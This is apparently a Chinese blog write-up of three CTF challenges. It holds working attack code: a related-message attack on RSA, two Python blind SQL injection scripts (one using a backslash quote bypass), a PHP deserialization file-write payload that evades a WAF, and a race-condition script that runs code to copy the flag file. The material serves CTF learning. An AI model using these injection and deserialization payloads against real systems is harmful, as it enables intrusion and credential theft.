easy_RSA

已知encode(m)和encode(m+1),两个明文差距比较小,用下面的sage脚本计算m

from hashlib import sha256
​
def related_message_attack(c1, c2, diff, e, n):
    PRx.<x> = PolynomialRing(Zmod(n))
    g1 = x^e - c1
    g2 = (x+diff)^e - c2
​
    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()
​
    return -gcd(g1, g2)[0]
​
n = 0x9371c61a2b760109781f229d43c6f05b58de65aa2a674ff92334cb5219132448d72c1293c145eb6f35e58791669f2d8d3b6ce506f4b3543beb947cf119f463a00bd33a33c4d566c4fd3f4c73c697fa5f3bf65976284b9cc96ec817241385d480003cdda9649fa0995b013e66f583c9a9710f7e18396fbf461cb31720f94a0f79
e = 3
​
c2 = 0x5f4e03f28702208b215f39f1c8598b77074bfa238dfb9ce424af7cc8a61f7ea48ffbbd5a5e1a10f686c3f240e85d011f6c8b968d1d607b2e1d5a78ad6947b7d3ec8f33ad32489befab601fe745164e4ff4aed7630da89af7f902f6a1bf7266c9c95b29f2c69c33b93a709f282d43b10c61b1a1fe76f5fee970780d7512389fd1
c1 = 0x5f4e03f28702208b215f39f1c8598b77074bfa238dfb9ce424af7cc8a61f7ea48ffc5c26b0c12bcff9f697f274f59f0e55a147768332fc1f1bac5bbc8f9bb508104f232bdd20091d26adc52e36feda4a156eae7dce4650f83fabc828fdcfb01d25efb98db8b94811ca855a6aa77caff991e7b986db844ff7a140218449aaa7e8
​
diff = 1
m = related_message_attack(c2, c1, diff, e, n)
print(hex(m))

然后用python解

from Crypto.Util.number import long_to_bytes
​
m = 0x746865206b6579206973203a65766572797468696e675f69735f656173795f696e5f746869735f7175657374696f6e
print(long_to_bytes(m).decode("utf-8"))
#the key is :everything_is_easy_in_this_question

可以拿到压缩包密码,打开压缩包有一个one_time_cipher,内容如下(去掉逗号的)

280316470206017f5f163a3460100b111b2c254e103715600f13091b0f471d05153811122c70340c0111053a394e0b39500f0a184638080a1e49243e55531a3e23161d411a362e4044111f3744090e0d15470206017f59122935601405421d3a244e10371560140f031a08080e1a540d62327f242517101d4e2b2807177f132805110a090f001e491d2c111d3024601405431a36231b083e022c1d16000406080c543854077f24280144451c2a254e093a0333051a02050701120a01334553393f32441d5e1b716027107f19334417131f15470800192f5d167f352e0716481e2b29010a7139600c121609411e141c543c501d7f232f0812544e2b2807177f00320b1f0a090c470a1c1d3c5a1f2670210a0011093a344e103715600712141e04040f49153142043a22601711520d3a331d0826

谷歌上找到这里有个填充的题目,然后用这个脚本解题,flag格式为flag{},先填充flag{,出现Now y,然后补成Now you,得到flag前几位为flag{it,然后一步一步将消息填充完最终得到flag:flag{it_1s_P@dd1n_@nd_p@d}

1621759299(1)

sql

盲注,过滤引号,可以写反斜线闭合。过滤了select,最后没有注表名,直接注了username和password,注完进行登录即可拿到flag

import requests
​
def str2hex(temp):
    list = [hex(ord(i))[2:] for i in temp]
    s = ''.join(list)
    return s
def hex2str(temp):
    list = ["0x" + temp[i:i + 2] for i in range(0, len(temp), 2)]
    s = ''.join([chr(int(i, 16)) for i in list])
    return s
​
url = "http://eci-2ze0gdvxrgpf7jrh5sr2.cloudeci1.ichunqiu.com/"
s=""
​
session = requests.session()
​
for i in range(1, 60):
    for j in range(30,127):
        data = {
            "username":"admin\\",
            "password": f"^(left(hex(password),{i})/**/in/**/(0x{str2hex(s + chr(j))}))^1#"
            #"password":f"^(left(hex(username),{i})/**/in/**/(0x{str2hex(s+chr(j))}))^1#"
            #"password":f"^(left(hex(database()),{i})/**/in/**/(0x{str2hex(s + chr(j))}))^1#"
        }
        if session.post(url,data=data).content.decode("utf-8").__contains__("flag"):
            s+=chr(j)
            print(chr(j),end="")
            break
print(hex2str(s))

easytricks

前台进行sql注入

import requests
​
s=""
url = "http://eci-2zea89kqieujoy0wppr9.cloudeci1.ichunqiu.com/"
​
for i in range(1, 25):
    left = 32
    right = 127
    mid = (left + right) // 2
    while left < right:
​
        data = {
            "user":"admin",
            "passwd":f"'*1 and ascii(substr(passwd,{i},{i}))>'{mid}"
        }
​
        if not requests.post(url,data = data).text.__contains__("./user.php"):
            right = mid
        else:
            left = mid+1
        mid = (left + right) // 2
    print(chr(mid),end="")
    s+=chr(mid)
​
#admin
#GoODLUcKcTFer202OHAckFuN

dirsearch扫目录可知后台有/admin/admin.php

1621777229(1)

在/admin/admin.php进行登录,在前台源码中拿到hint:/admin/admin.rar

1621777292(1)

打开源码后进行审计发现upload.php没什么用,但preload.php有反序列化,可以写东西到hack.php。

<?php
error_reporting(0);
session_save_path('session');
session_start();
class preload{
    public $class;
    public $contents;
    public $method;
    public function __construct(){
        $this->class="<?php class hacker{public function hack(){echo 'hack the hack!I believe you can!';}}\$hack=";
        $this->contents="new hacker();";
        $this->method="\$hack->hack();";
    }
    public function waf($parm){
        $blacklist="/flag|pcntl|system|exec|fread|file|fpassthru|popen|proc|ld|putenv|passthru|`|\.|\\\|#|\\$|[0-9]|_|get|~|\\^|eval|assert|open|write|include|require/is";
        return preg_match($blacklist,$parm);
    }
    public function write(){
        if($this->waf($this->contents)||strlen($this->contents)>60||preg_match_all('/\\(/i',$this->contents,$matches)>2||preg_match_all('/\\)/i',$this->contents,$matches)>2){
            die("<br>"."no no no");
        }
        if(preg_match_all('/;/i',$this->contents,$matches)>2){
            die("<br>"."try hard");
        }
        if(file_exists(dirname(__FILE__)."/hack.php")){
            unlink(dirname(__FILE__)."/hack.php");
        }
        file_put_contents(dirname(__FILE__)."/hack.php",$this->class);
        file_put_contents(dirname(__FILE__)."/hack.php",$this->contents,FILE_APPEND);
        file_put_contents(dirname(__FILE__)."/hack.php",$this->method,FILE_APPEND);
    }
    public function __wakeup(){
        $this->class="<?php class hacker{public function hack(){echo 'hack the hack!I believe you can!';}}\$hack=";
        $this->method="\$hack->hack();";
    }
    public function __destruct(){
        $this->write();
    }
}
$a=$_POST['a'];
unserialize($a);
$preload=new preload();
?>
<a href="./hack.php">hack.php</a>
<a href="./cli.php">cli.php</a>

使用post传a参数进行反序列化可以写文件。不过写完的文件很快就会被下面的一行代码将hack.php覆盖掉。在cli.php中可知php版本为7.4,不能绕过__wakeup方法。所以写入的数据可控点为$this->contents,但是有waf。

1621777392(1)

这里可以想到条件竞争,先写个phpinfo()进行条件竞争访问可以发现可行(手动刷新,刷快点说不定能访问到)。waf限制长度小于60,不能超过两个括号,不能超过两个分号。

然后这个题目就变成了命令执行的题了,waf可以通过echo(glob('/fla*')[false]);copy(glob('/fla*')[false],'a');进行绕过。命令执行可以看这里,通过glob函数匹配flag。

bfeddc1686cd845f90d2fdb71dee363

将$this->contents改为echo(glob('/fla*')[false]);copy(glob('/fla*')[false],'a');,然后使用burp设置null payload+无限发包+200线程进行条件竞争写入hack.php,使用python访问hack.php将根目录下的flag移动到当前目录下的a文件中就能直接访问了。

1621774822(1)
1621777538(1)
import requests
import threading
​
url = "http://eci-2zea89kqieujoy0wppr9.cloudeci1.ichunqiu.com/admin/hack.php"
session = requests.session()
​
def post():
    try:
        print(session.get(url).text)
    except:
        pass
​
while True:
    thread = threading.Thread(target=post)
    thread.start()
#条件竞争访问hack.php

最后访问admin目录下的a文件就能拿到flag

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...